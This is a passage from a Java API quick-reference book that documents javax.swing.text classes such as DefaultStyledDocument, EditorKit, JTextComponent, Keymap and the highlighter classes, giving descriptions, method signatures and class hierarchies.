 | public DefaultKeyTypedAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.InsertBreakAction | Java 1.2
javax.swing.text | cloneable serializable

This Action inserts a new line break into the document and deletes any currently selected text.

public static class DefaultEditorKit.InsertBreakAction extends TextAction {
// | Public Constructors
 | public InsertBreakAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.InsertContentAction | Java 1.2
javax.swing.text | cloneable serializable

This Action inserts the ActionEvent command string into the document at the current position, deleting any current selection in the process.

public static class DefaultEditorKit.InsertContentAction extends TextAction {
// | Public Constructors
 | public InsertContentAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.InsertTabAction | Java 1.2
javax.swing.text | cloneable serializable

This Action inserts a horizontal tab into the document, replacing the selected text, if any.

public static class DefaultEditorKit.InsertTabAction extends TextAction {
// | Public Constructors
 | public InsertTabAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.PasteAction | Java 1.2
javax.swing.text | cloneable serializable

This Action gets the current text selection from the system clipboard and pastes it into the current document at the current insertion position, replacing any selected text.

public static class DefaultEditorKit.PasteAction extends TextAction {
// | Public Constructors
 | public PasteAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultHighlighter Java 1.2
javax.swing.text

This class is the default highlighter object used by JTextComponent to keep track of highlighted regions within the Document.

public class DefaultHighlighter extends LayeredHighlighter {
// | Public Constructors
 | public DefaultHighlighter (); |
// | Inner Classes
 | ; |
// | Public Instance Methods
 | public boolean getDrawsLayeredHighlights (); | default:true
 | public void setDrawsLayeredHighlights (boolean newValue); |
// | Public Methods Overriding LayeredHighlighter
 | public Object addHighlight (int p0, int p1, Highlighter.HighlightPainter p) throws BadLocationException; |
 | public void changeHighlight (Object tag, int p0, int p1) throws BadLocationException; |
 | public void deinstall (JTextComponent c); |
 | public Highlighter.Highlight[ ] getHighlights (); |
 | public void install (JTextComponent c); |
 | public void paint (java.awt.Graphics g); |
 | public void paintLayeredHighlights (java.awt.Graphics g, int p0, int p1, java.awt.Shape viewBounds, JTextComponent editor, View view); |
 | public void removeAllHighlights (); |
 | public void removeHighlight (Object tag); |
// | Public Class Fields
 | public static LayeredHighlighter.LayerPainter DefaultPainter ; |
}

Hierarchy: Object-->LayeredHighlighter(Highlighter)-->DefaultHighlighter

DefaultHighlighter.DefaultHighlightPainter Java 1.2
javax.swing.text

This class is the default highlight painter object used by JTextComponent to draw its highlighted regions. It fills the highlighted area with a solid color. By default, the color is obtained with the getSelectionColor() method of the associated JTextComponent.

public static class DefaultHighlighter.DefaultHighlightPainter extends LayeredHighlighter.LayerPainter {
// | Public Constructors
 | public DefaultHighlightPainter (java.awt.Color c);
// | Public Instance Methods
 | public java.awt.Color getColor ();
// | Public Methods Overriding LayeredHighlighter.LayerPainter
 | public void paint (java.awt.Graphics g, int offs0, int offs1, java.awt.Shape bounds, JTextComponent c);
 | public java.awt.Shape paintLayer (java.awt.Graphics g, int offs0, int offs1, java.awt.Shape bounds, JTextComponent c, View view);
}
DefaultStyledDocument | Java 1.2
javax.swing.text | serializable

This class extends AbstractDocument and implements StyledDocument. It represents formatted text annotated with character and paragraph attributes. To insert text into a DefaultStyledDocument, use the inherited insertString() method, specifying a document position, the string to insert, and the AttributeSet of attributes that should be applied to the inserted string. You can display the contents of a DefaultStyledDocument using a JTextPane component.

public class DefaultStyledDocument extends AbstractDocument implements StyledDocument {
// | Public Constructors
 | public DefaultStyledDocument (); |
 | public DefaultStyledDocument (StyleContext styles); |
 | public DefaultStyledDocument (AbstractDocument.Content c, StyleContext styles); |
// | Public Constants
 | public static final int BUFFER_SIZE_DEFAULT ; | =4096
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addDocumentListener (javax.swing.event.DocumentListener listener); | Implements:Document
 | public void removeDocumentListener (javax.swing.event.DocumentListener listener); | Implements:Document
// | Public Instance Methods
 | public java.util.Enumeration getStyleNames (); |
// | Methods Implementing Document
 | public void addDocumentListener (javax.swing.event.DocumentListener listener); |
 | public javax.swing.text.Element getDefaultRootElement (); | default:SectionElement
 | public void removeDocumentListener (javax.swing.event.DocumentListener listener); |
// | Methods Implementing StyledDocument
 | public Style addStyle (String nm, Style parent); |
 | public java.awt.Color getBackground (AttributeSet attr); |
 | public javax.swing.text.Element getCharacterElement (int pos); |
 | public java.awt.Font getFont (AttributeSet attr); |
 | public java.awt.Color getForeground (AttributeSet attr); |
 | public Style getLogicalStyle (int p); |
 | public javax.swing.text.Element getParagraphElement (int pos); |
 | public Style getStyle (String nm); |
 | public void removeStyle (String nm); |
 | public void setCharacterAttributes (int offset, int length, AttributeSet s, boolean replace); |
 | public void setLogicalStyle (int pos, Style s); |
 | public void setParagraphAttributes (int offset, int length, AttributeSet s, boolean replace); |
// | Protected Methods Overriding AbstractDocument
 | protected void insertUpdate (AbstractDocument.DefaultDocumentEvent chng, AttributeSet attr); |
 | protected void removeUpdate (AbstractDocument.DefaultDocumentEvent chng); |
// | Protected Instance Methods
 | protected void create (DefaultStyledDocument.ElementSpec[ ] data); |
 | protected AbstractDocument.AbstractElement createDefaultRoot (); |
 | protected void insert (int offset, DefaultStyledDocument.ElementSpec[ ] data) throws BadLocationException; |
 | protected void styleChanged (Style style); |
// | Protected Instance Fields
 | protected DefaultStyledDocument.ElementBuffer buffer ; |
}

Hierarchy: Object-->AbstractDocument(Document,Serializable)-->DefaultStyledDocument(StyledDocument(Document))

Subclasses: javax.swing.text.html.HTMLDocument

DefaultStyledDocument.AttributeUndoableEdit | Java 1.2
javax.swing.text | serializable

This UndoableEdit implementation is used internally by DefaultStyledDocument to remember (and undo) changes to the AttributeSet of an Element.

public static class DefaultStyledDocument.AttributeUndoableEdit extends javax.swing.undo.AbstractUndoableEdit {
// | Public Constructors
 | public AttributeUndoableEdit (javax.swing.text.Element element, AttributeSet newAttributes, boolean isReplacing);
// | Public Methods Overriding AbstractUndoableEdit
 | public void redo () throws javax.swing.undo.CannotRedoException;
 | public void undo () throws javax.swing.undo.CannotUndoException;
// | Protected Instance Fields
 | protected AttributeSet copy ;
 | protected javax.swing.text.Element element ;
 | protected boolean isReplacing ;
 | protected AttributeSet newAttributes ;
}
DefaultStyledDocument.ElementBuffer | Java 1.2
javax.swing.text | serializable

This class allows insertions into an Element tree in the form of an array of DefaultStyledDocument.ElementSpec objects. This is useful because a linear array of ElementSpec objects is often easier to work with than a tree of Element objects.

public class DefaultStyledDocument.ElementBuffer implements Serializable {
// | Public Constructors
 | public ElementBuffer (javax.swing.text.Element root);
// | Public Instance Methods
 | public void change (int offset, int length, AbstractDocument.DefaultDocumentEvent de);
 | public javax.swing.text.Element clone (javax.swing.text.Element parent, javax.swing.text.Element clonee);
 | public javax.swing.text.Element getRootElement ();
 | public void insert (int offset, int length, DefaultStyledDocument.ElementSpec[ ] data, AbstractDocument.DefaultDocumentEvent de);
 | public void remove (int offset, int length, AbstractDocument.DefaultDocumentEvent de);
// | Protected Instance Methods
 | protected void changeUpdate ();
 | protected void insertUpdate (DefaultStyledDocument.ElementSpec[ ] data);
 | protected void removeUpdate ();
}

Type Of: DefaultStyledDocument.buffer

DefaultStyledDocument.ElementSpec Java 1.2
javax.swing.text

This class is used to represent the elements of a document in a flat structure, instead of a tree. An ElementSpec object represent a start tag, an end tag, or document content. Arrays of ElementSpec objects can be used to represent a document or a portion of a document, and these ElementSpec objects can later be converted into a tree of Element objects. This class can be useful because it is often easier to work with an array of ElementSpec objects than with a tree of Element objects.

public static class DefaultStyledDocument.ElementSpec {
// | Public Constructors
 | public ElementSpec (AttributeSet a, short type); |
 | public ElementSpec (AttributeSet a, short type, int len); |
 | public ElementSpec (AttributeSet a, short type, char[ ] txt, int offs, int len); |
// | Public Constants
 | public static final short ContentType ; | =3
 | public static final short EndTagType ; | =2
 | public static final short JoinFractureDirection ; | =7
 | public static final short JoinNextDirection ; | =5
 | public static final short JoinPreviousDirection ; | =4
 | public static final short OriginateDirection ; | =6
 | public static final short StartTagType ; | =1
// | Property Accessor Methods (by property name)
 | public char[ ] getArray (); |
 | public AttributeSet getAttributes (); |
 | public short getDirection (); |
 | public void setDirection (short direction); |
 | public int getLength (); |
 | public int getOffset (); |
 | public short getType (); |
 | public void setType (short type); |
// | Public Methods Overriding Object
 | public String toString (); |
}

Passed To: DefaultStyledDocument.{create(), insert()}, DefaultStyledDocument.ElementBuffer.{insert(), insertUpdate()}, javax.swing.text.html.HTMLDocument.{create(), insert()}

DefaultStyledDocument.SectionElement | Java 1.2
javax.swing.text | serializable

This protected inner class is the default root element used by DefaultStyledDocument. Applications do not need to use or subclass this class.

protected class DefaultStyledDocument.SectionElement extends AbstractDocument.BranchElement {
// | Public Constructors
 | public SectionElement ();
// | Public Methods Overriding AbstractDocument.BranchElement
 | public String getName ();
}
DefaultTextUI Java 1.2; Deprecated in Java 1.2
javax.swing.text

This class is deprecated and should not be used. As a text component UI delegate class, it never should have been part of this package.

public abstract class DefaultTextUI extends javax.swing.plaf.basic.BasicTextUI {
// | Public Constructors
 | public DefaultTextUI ();
}

Hierarchy: javax.swing.plaf.basic.BasicTextUI-->DefaultTextUI

Document Java 1.2
javax.swing.text

This interface defines the fundamental methods required in a class that stores document text to be displayed and edited by a JTextComponent. The methods of this interface require that a Document object be able to represent document content both as a linear sequence of characters and as a tree of hierarchical Element objects. Element objects model the document structure and are used to represent things like paragraphs, lines, and runs of styled text. When a JTree component displays a Document, the Element tree is used to create a tree of View objects that display the individual elements.

The getText() methods return text from the document, either as a String or in a supplied Segment object. insertString() inserts a run of text associated with the specified attributes. remove() deletes text from the Document. The Document object must fire appropriate DocumentEvent and UndoableEditEvent events when edits like these are performed. createPosition() returns a Position object that represents a relative position in the document. The Position reference remains valid even if text is inserted or deleted from the document. The putProperty() and getProperty() methods allow arbitrary key/value pairs to be associated with a Document. These properties can be used to hold metainformation, such as the author and title of the document. The TitleProperty and StreamDescriptionProperty constants are two predefined property keys. Finally, the render() method must run the specified Runnable object while guaranteeing that there will not be any changes to the document. This method is used to perform the potentially time-consuming document-rendering process in a thread-safe way.

See also Element, AttributeSet, Position, and Segment.

public abstract interface Document {
// | Public Constants
 | public static final String StreamDescriptionProperty ; | ="stream"
 | public static final String TitleProperty ; | ="title"
// | Event Registration Methods (by event name)
 | public abstract void addDocumentListener (javax.swing.event.DocumentListener listener); |
 | public abstract void removeDocumentListener (javax.swing.event.DocumentListener listener); |
 | public abstract void addUndoableEditListener (javax.swing.event.UndoableEditListener listener); |
 | public abstract void removeUndoableEditListener (javax.swing.event.UndoableEditListener listener); |
// | Property Accessor Methods (by property name)
 | public abstract javax.swing.text.Element getDefaultRootElement (); |
 | public abstract Position getEndPosition (); |
 | public abstract int getLength (); |
 | public abstract javax.swing.text.Element[ ] getRootElements (); |
 | public abstract Position getStartPosition (); |
// | Public Instance Methods
 | public abstract Position createPosition (int offs) throws BadLocationException; |
 | public abstract Object getProperty (Object key); |
 | public abstract String getText (int offset, int length) throws BadLocationException; |
 | public abstract void getText (int offset, int length, Segment txt) throws BadLocationException; |
 | public abstract void insertString (int offset, String str, AttributeSet a) throws BadLocationException; |
 | public abstract void putProperty (Object key, Object value); |
 | public abstract void remove (int offs, int len) throws BadLocationException; |
 | public abstract void render (Runnable r); |
}

Implementations: AbstractDocument, StyledDocument

Passed To: Too many methods to list.

Returned By: JTextArea.createDefaultModel(), JTextField.createDefaultModel(), javax.swing.event.DocumentEvent.getDocument(), AbstractDocument.AbstractElement.getDocument(), AbstractDocument.DefaultDocumentEvent.getDocument(), AbstractWriter.getDocument(), DefaultEditorKit.createDefaultDocument(), EditorKit.createDefaultDocument(), javax.swing.text.Element.getDocument(), JTextComponent.getDocument(), StyledEditorKit.createDefaultDocument(), View.getDocument(), javax.swing.text.html.HTMLEditorKit.createDefaultDocument()

EditorKit | Java 1.2
javax.swing.text | cloneable serializable

This abstract class defines the methods that are used to configure a JEditorPane to display and edit a particular type of document. Swing contains concrete subclasses for plain text, as well as HTML and RTF documents. To configure a JEditorPane, instantiate an EditorKit object and pass it to the setEditorKit() method of your JEditorPane.

The getContentType() method of an EditorKit returns the MIME type supported by the kit. createDefaultDocument() creates an appropriate type of empty Document object to hold the document. The read() and write() methods read and write document content from and to streams. getViewFactory() returns a ViewFactory object for this document type. The ViewFactory is used to convert the Element objects of the document into View objects that display the document on the screen. createCaret() returns a Caret object that the JEditorPane can use to navigate the document, and getActions() returns an array of Action objects that the JEditorPane can bind to keystrokes. EditorKit implementations typically define a number of Action implementations as inner classes.

public abstract class EditorKit implements Cloneable, Serializable {
// | Public Constructors
 | public EditorKit (); |
// | Property Accessor Methods (by property name)
 | public abstract Action[ ] getActions (); |
 | public abstract String getContentType (); |
 | public abstract ViewFactory getViewFactory (); |
// | Public Instance Methods
 | public abstract Caret createCaret (); |
 | public abstract Document createDefaultDocument (); |
 | public void deinstall (JEditorPane c); | empty
 | public void install (JEditorPane c); | empty
 | public abstract void read (java.io.Reader in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public abstract void read (java.io.InputStream in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public abstract void write (java.io.Writer out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
 | public abstract void write (java.io.OutputStream out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
// | Public Methods Overriding Object
 | public abstract Object clone (); |
}

Hierarchy: Object-->EditorKit(Cloneable,Serializable)

Subclasses: DefaultEditorKit

Passed To: JEditorPane.{setEditorKit(), setEditorKitForContentType()}, JTextPane.setEditorKit()

Returned By: JEditorPane.{createDefaultEditorKit(), createEditorKitForContentType(), getEditorKit(), getEditorKitForContentType()}, JTextPane.createDefaultEditorKit(), javax.swing.plaf.TextUI.getEditorKit()

Element Java 1.2
javax.swing.text

This interface defines the methods required for objects that want to be part of a Document object's element tree. An Element object must keep track of its parent and its children. It must also know its position and the position of its children within the linear sequence of characters that comprise the Document. Finally, an Element must be able to return the set of attributes that have been applied to it. getParentElement() returns the parent. getElementCount() and getElement() return the number of child elements and the specified child element, respectively. getStartOffset() and getEndOffset() return the start and end positions of this element. getElementIndex() returns the index of the child element that contains the specified position. getAttributes() returns the AttributeSet for this element.

public abstract interface Element {
// | Property Accessor Methods (by property name)
 | public abstract AttributeSet getAttributes ();
 | public abstract Document getDocument ();
 | public abstract int getElementCount ();
 | public abstract int getEndOffset ();
 | public abstract boolean isLeaf ();
 | public abstract String getName ();
 | public abstract javax.swing.text.Element getParentElement ();
 | public abstract int getStartOffset ();
// | Public Instance Methods
 | public abstract javax.swing.text.Element getElement (int index);
 | public abstract int getElementIndex (int offset);
}

Implementations: AbstractDocument.AbstractElement

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: DefaultStyledDocument.AttributeUndoableEdit.element

ElementIterator | Java 1.2
javax.swing.text | cloneable

This class is used to perform a depth-first traversal, or iteration, through a tree of Element objects. The Element tree structure should not be changed while the iteration is in progress. Note that despite its name, this class does not implement java.util.Iterator.

public class ElementIterator implements Cloneable {
// | Public Constructors
 | public ElementIterator (javax.swing.text.Element root); |
 | public ElementIterator (Document document); |
// | Public Instance Methods
 | public javax.swing.text.Element current (); |
 | public int depth (); |
 | public javax.swing.text.Element first (); |
 | public javax.swing.text.Element next (); |
 | public javax.swing.text.Element previous (); |
// | Public Methods Overriding Object
 | public Object clone (); | synchronized
}

Hierarchy: Object-->ElementIterator(Cloneable)

Returned By: AbstractWriter.getElementIterator()

FieldView Java 1.2
javax.swing.text

This View class displays a single line of plain text. It is used, for example, by JTextField.

public class FieldView extends PlainView {
// | Public Constructors
 | public FieldView (javax.swing.text.Element elem);
// | Public Methods Overriding PlainView
 | public float getPreferredSpan (int axis);
 | public void insertUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
 | public void removeUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public int viewToModel (float fx, float fy, java.awt.Shape a, Position.Bias[ ] bias);
// | Public Methods Overriding View
 | public int getResizeWeight (int axis);
// | Protected Instance Methods
 | protected java.awt.Shape adjustAllocation (java.awt.Shape a);
 | protected java.awt.FontMetrics getFontMetrics ();
}

Hierarchy: Object-->View(SwingConstants)-->PlainView(TabExpander)-->FieldView

Subclasses: PasswordView

GapContent | Java 1.2
javax.swing.text | serializable

This class is an implementation of the AbstractDocument.Content interface that uses an array of characters with a gap of unused characters in it. This gap is positioned near the current insertion position so that subsequent insertions require fewer characters to be shifted in the array. This implementation is more complicated than StringContent, but it works efficiently with documents of any size. This is the default Content implementation for all documents derived from AbstractDocument. This class inherits from a private superclass, GapVector, which is not covered in this book because it is private.

public class GapContent extends GapVector implements AbstractDocument.Content, Serializable {
// | Public Constructors
 | public GapContent ();
 | public GapContent (int initialLength);
// | Methods Implementing AbstractDocument.Content
 | public Position createPosition (int offset) throws BadLocationException;
 | public void getChars (int where, int len, Segment chars) throws BadLocationException;
 | public String getString (int where, int len) throws BadLocationException;
 | public javax.swing.undo.UndoableEdit insertString (int where, String str) throws BadLocationException;
 | public int length ();
 | public javax.swing.undo.UndoableEdit remove (int where, int nitems) throws BadLocationException;
// | Protected Instance Methods
 | protected Object allocateArray (int len);
 | protected int getArrayLength ();
 | protected java.util.Vector getPositionsInRange (java.util.Vector v, int offset, int length);
 | protected void resetMarksAtZero ();
 | protected void shiftEnd (int newSize);
 | protected void shiftGap (int newGapStart);
 | protected void shiftGapEndUp (int newGapEnd);
 | protected void shiftGapStartDown (int newGapStart);
 | protected void updateUndoPositions (java.util.Vector positions, int offset, int length);
}

Hierarchy: Object-->GapVector(Serializable)-->GapContent(AbstractDocument.Content,Serializable)

Highlighter Java 1.2
javax.swing.text

This interface defines the methods that must be implemented by an object that wants to maintain and draw the list of selected regions within a JTextComponent. The methods of Highlighter allow selected regions to be added, changed, and removed for the set of highlighted regions. Each region is specified as a start and end position within the Document and a Highlighter.HighlightPainter object that is used to draw the highlight. The getHighlights() method returns an array of Highlighter.Highlight objects that describe the individual highlighted regions and their painter objects. Most applications can rely on the DefaultHighlighter class that is used by default by JTextComponent and never have to implement this interface.

public abstract interface Highlighter {
// | Inner Classes
 | ;
 | ;
// | Public Instance Methods
 | public abstract Object addHighlight (int p0, int p1, Highlighter.HighlightPainter p) throws BadLocationException;
 | public abstract void changeHighlight (Object tag, int p0, int p1) throws BadLocationException;
 | public abstract void deinstall (JTextComponent c);
 | public abstract Highlighter.Highlight[ ] getHighlights ();
 | public abstract void install (JTextComponent c);
 | public abstract void paint (java.awt.Graphics g);
 | public abstract void removeAllHighlights ();
 | public abstract void removeHighlight (Object tag);
}

Implementations: LayeredHighlighter

Passed To: JTextComponent.setHighlighter()

Returned By: JTextComponent.getHighlighter()

Highlighter.Highlight Java 1.2
javax.swing.text

The methods of this interface describe a highlighted region in a Document by specifying the start and end positions of the region and the Highlighter.HighlightPainter object that is used to draw the highlighted region.

public abstract static interface Highlighter.Highlight {
// | Public Instance Methods
 | public abstract int getEndOffset ();
 | public abstract Highlighter.HighlightPainter getPainter ();
 | public abstract int getStartOffset ();
}

Returned By: DefaultHighlighter.getHighlights(), Highlighter.getHighlights(), LayeredHighlighter.getHighlights()

Highlighter.HighlightPainter Java 1.2
javax.swing.text

This interface defines the paint() method used to draw a highlighted region.

public abstract static interface Highlighter.HighlightPainter {
// | Public Instance Methods
 | public abstract void paint (java.awt.Graphics g, int p0, int p1, java.awt.Shape bounds, JTextComponent c);
}

Implementations: LayeredHighlighter.LayerPainter

Passed To: DefaultHighlighter.addHighlight(), Highlighter.addHighlight(), LayeredHighlighter.addHighlight()

Returned By: DefaultCaret.getSelectionPainter(), Highlighter.Highlight.getPainter()

IconView Java 1.2
javax.swing.text

This View class encapsulates a javax.swing.Icon and allows icons and images to be displayed within a Document.

public class IconView extends View {
// | Public Constructors
 | public IconView (javax.swing.text.Element elem); |
// | Public Methods Overriding View
 | public float getAlignment (int axis); |
 | public float getPreferredSpan (int axis); |
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException; |
 | public void paint (java.awt.Graphics g, java.awt.Shape a); |
 | public void setSize (float width, float height); | empty
 | public int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] bias); |
}

Hierarchy: Object-->View(SwingConstants)-->IconView

JTextComponent | Java 1.2
javax.swing.text | serializable accessible(text) swing component

This is the base class for all Swing text-editing components. Applications do not use this class directly, but instead use one of its subclasses in the javax.swing package: JTextField, JTextArea, JPasswordField, JEditorPane, or JTextPane. A JTextComponent displays the text contained in its model object, an object of type Document. Other important classes and interfaces used by JTextComponent are Caret, Highlighter, Keymap, Style, EditorKit, TextAction, and View.

public abstract class JTextComponent extends JComponent implements Accessible, Scrollable {
// | Public Constructors
 | public JTextComponent (); |
// | Public Constants
 | public static final String DEFAULT_KEYMAP ; | ="default"
 | public static final String FOCUS_ACCELERATOR_KEY ; | ="focusAcceleratorKey"
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static Keymap addKeymap (String nm, Keymap parent); |
 | public static Keymap getKeymap (String nm); |
 | public static void loadKeymap (Keymap map, JTextComponent.KeyBinding[ ] bindings, Action[ ] actions); |
 | public static Keymap removeKeymap (String nm); |
// | Event Registration Methods (by event name)
 | public void addCaretListener (javax.swing.event.CaretListener listener); |
 | public void removeCaretListener (javax.swing.event.CaretListener listener); |
 | public void addInputMethodListener (java.awt.event.InputMethodListener l); | Overrides:Component
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible
 | public Action[ ] getActions (); |
 | public Caret getCaret (); |
 | public void setCaret (Caret c); | bound expert
 | public java.awt.Color getCaretColor (); |
 | public void setCaretColor (java.awt.Color c); | bound preferred
 | public int getCaretPosition (); |
 | public void setCaretPosition (int position); |
 | public java.awt.Color getDisabledTextColor (); |
 | public void setDisabledTextColor (java.awt.Color c); | bound preferred
 | public Document getDocument (); |
 | public void setDocument (Document doc); | bound expert
 | public boolean isEditable (); |
 | public void setEditable (boolean b); |
 | public char getFocusAccelerator (); |
 | public void setFocusAccelerator (char aKey); | bound
 | public boolean isFocusTraversable (); | Overrides:JComponent
 | public Highlighter getHighlighter (); |
 | public void setHighlighter (Highlighter h); | bound expert
 | public java.awt.im.InputMethodRequests getInputMethodRequests (); | Overrides:Component
 | public Keymap getKeymap (); |
 | public void setKeymap (Keymap map); | bound
 | public java.awt.Insets getMargin (); |
 | public void setMargin (java.awt.Insets m); | bound
 | public boolean isOpaque (); | Overrides:JComponent
 | public void setOpaque (boolean o); | Overrides:JComponent
 | public java.awt.Dimension getPreferredScrollableViewportSize (); | Implements:Scrollable
 | public boolean getScrollableTracksViewportHeight (); | Implements:Scrollable
 | public boolean getScrollableTracksViewportWidth (); | Implements:Scrollable
 | public String getSelectedText (); |
 | public java.awt.Color getSelectedTextColor (); |
 | public void setSelectedTextColor (java.awt.Color c); | bound preferred
 | public java.awt.Color getSelectionColor (); |
 | public void setSelectionColor (java.awt.Color c); | bound preferred
 | public int getSelectionEnd (); |
 | public void setSelectionEnd (int selectionEnd); |
 | public int getSelectionStart (); |
 | public void setSelectionStart (int selectionStart); |
 | public String getText (); |
 | public String getText (int offs, int len) throws BadLocationException; |
 | public void setText (String t); |
 | public javax.swing.plaf.TextUI getUI (); |
 | public void setUI (javax.swing.plaf.TextUI ui); |
// | Public Instance Methods
 | public void copy (); |
 | public void cut (); |
 | public java.awt.Rectangle modelToView (int pos) throws BadLocationException; |
 | public void moveCaretPosition (int pos); |
 | public void paste (); |
 | public void read (java.io.Reader in, Object desc) throws java.io.IOException; |
 | public void replaceSelection (String content); |
 | public void select (int selectionStart, int selectionEnd); |
 | public void selectAll (); |
 | public int viewToModel (java.awt.Point pt); |
 | public void write (java.io.Writer out) throws java.io.IOException; |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); |
// | Methods Implementing Scrollable
 | public java.awt.Dimension getPreferredScrollableViewportSize (); |
 | public int getScrollableBlockIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
 | public boolean getScrollableTracksViewportHeight (); |
 | public boolean getScrollableTracksViewportWidth (); |
 | public int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
// | Public Methods Overriding JComponent
 | public void removeNotify (); |
 | public void setEnabled (boolean b); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
 | protected void processComponentKeyEvent (java.awt.event.KeyEvent e); |
// | Protected Methods Overriding Component
 | protected void processInputMethodEvent (java.awt.event.InputMethodEvent e); |
// | Protected Instance Methods
 | protected void fireCaretUpdate (javax.swing.event.CaretEvent e); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JTextComponent(Accessible,Scrollable)

Subclasses: JEditorPane, JTextArea, JTextField

Passed To: Too many methods to list.

Returned By: DefaultCaret.getComponent(), TextAction.{getFocusedComponent(), getTextComponent()}

JTextComponent.KeyBinding Java 1.2
javax.swing.text

This class encapsulates a KeyStroke and the name of an Action object. The JTextComponent.KeyBinding class is used primarily for communication between the JTextComponent and its UI delegate object.

public static class JTextComponent.KeyBinding {
// | Public Constructors
 | public KeyBinding (KeyStroke key, String actionName);
// | Public Instance Fields
 | public String actionName ;
 | public KeyStroke key ;
}

Passed To: JTextComponent.loadKeymap()

Returned By: LookAndFeel.makeKeyBindings()

Keymap Java 1.2
javax.swing.text

This interface defines the methods of an object that can map javax.swing.KeyStroke objects to javax.swing.Action objects. A Keymap object is used to maintain the set of key bindings for a JTextComponent. Key-to-action bindings are added to a Keymap with addActionForKeyStroke(). The action bound to a given keystroke is queried with getAction(). Every Keymap can refer to another Keymap as its parent. If getAction() cannot find a specified KeyStroke mapping locally, it searches (recursively) in the parent Keymap.

There are no public implementations of the Keymap interface, so you cannot create a Keymap simply by calling a constructor. JTextComponent relies on a private implementation of Keymap, however, and you can obtain an instance by calling the static addKeymap() method of that class. Once you have initialized this Keymap with any desired bindings, you can pass it to the setKeymap() method of any JTextComponent instance.

public abstract interface Keymap {
// | Property Accessor Methods (by property name)
 | public abstract Action[ ] getBoundActions ();
 | public abstract KeyStroke[ ] getBoundKeyStrokes ();
 | public abstract Action getDefaultAction ();
 | public abstract void setDefaultAction (Action a);
 | public abstract String getName ();
 | public abstract Keymap getResolveParent ();
 | public abstract void setResolveParent (Keymap parent);
// | Public Instance Methods
 | public abstract void addActionForKeyStroke (KeyStroke key, Action a);
 | public abstract Action getAction (KeyStroke key);
 | public abstract KeyStroke[ ] getKeyStrokesForAction (Action a);
 | public abstract boolean isLocallyDefined (KeyStroke key);
 | public abstract void removeBindings ();
 | public abstract void removeKeyStrokeBinding (KeyStroke keys);
}

Passed To: JTextComponent.{addKeymap(), loadKeymap(), setKeymap()}, Keymap.setResolveParent()

Returned By: JTextComponent.{addKeymap(), getKeymap(), removeKeymap()}, Keymap.getResolveParent()

LabelView Java 1.2
javax.swing.text

This View class displays a run of text that has a single set of character attributes, such as colors and fonts, associated with it. It supports line breaking and tab expansion.

public class LabelView extends View {
// | Public Constructors
 | public LabelView (javax.swing.text.Element elem);
// | Public Methods Overriding View
 | public View breakView (int axis, int p0, float pos, float len);
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
 | public View createFragment (int p0, int p1);
 | public float getAlignment (int axis);
 | public int getBreakWeight (int axis, float pos, float len);
 | public int getNextVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException;
 | public float getPreferredSpan (int axis);
 | public void insertUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
 | public void removeUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] biasReturn);
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected java.awt.Font getFont ();
 | protected java.awt.FontMetrics getFontMetrics ();
 | protected void setPropertiesFromAttributes ();
 | protected void setStrikeThrough (boolean s);
 | protected void setSubscript (boolean s);
 | protected void setSuperscript (boolean s);
 | protected void setUnderline (boolean u);
}

Hierarchy: Object-->View(SwingConstants)-->LabelView

Subclasses: javax.swing.text.html.InlineView

LayeredHighlighter Java 1.2
javax.swing.text

This abstract class is a Highlighter. Instead of implementing the abstract methods of the Highlighter interface, however, it adds another abstract method of its own. This new method, paintLayeredHighlights(), is called to draw a portion of the highlight that appears within the region defined by a single View object. Typical applications can rely on the DefaultHighlighter class that is automatically used by JTextComponent and never have to use or implement this class.

public abstract class LayeredHighlighter implements Highlighter {
// | Public Constructors
 | public LayeredHighlighter ();
// | Inner Classes
 | ;
// | Public Instance Methods
 | public abstract void paintLayeredHighlights (java.awt.Graphics g, int p0, int p1, java.awt.Shape viewBounds, JTextComponent editor, View view);
// | Methods Implementing Highlighter
 | public abstract Object addHighlight (int p0, int p1, Highlighter.HighlightPainter p) throws BadLocationException;
 | public abstract void changeHighlight (Object tag, int p0, int p1) throws BadLocationException;
 | public abstract void deinstall (JTextComponent c);
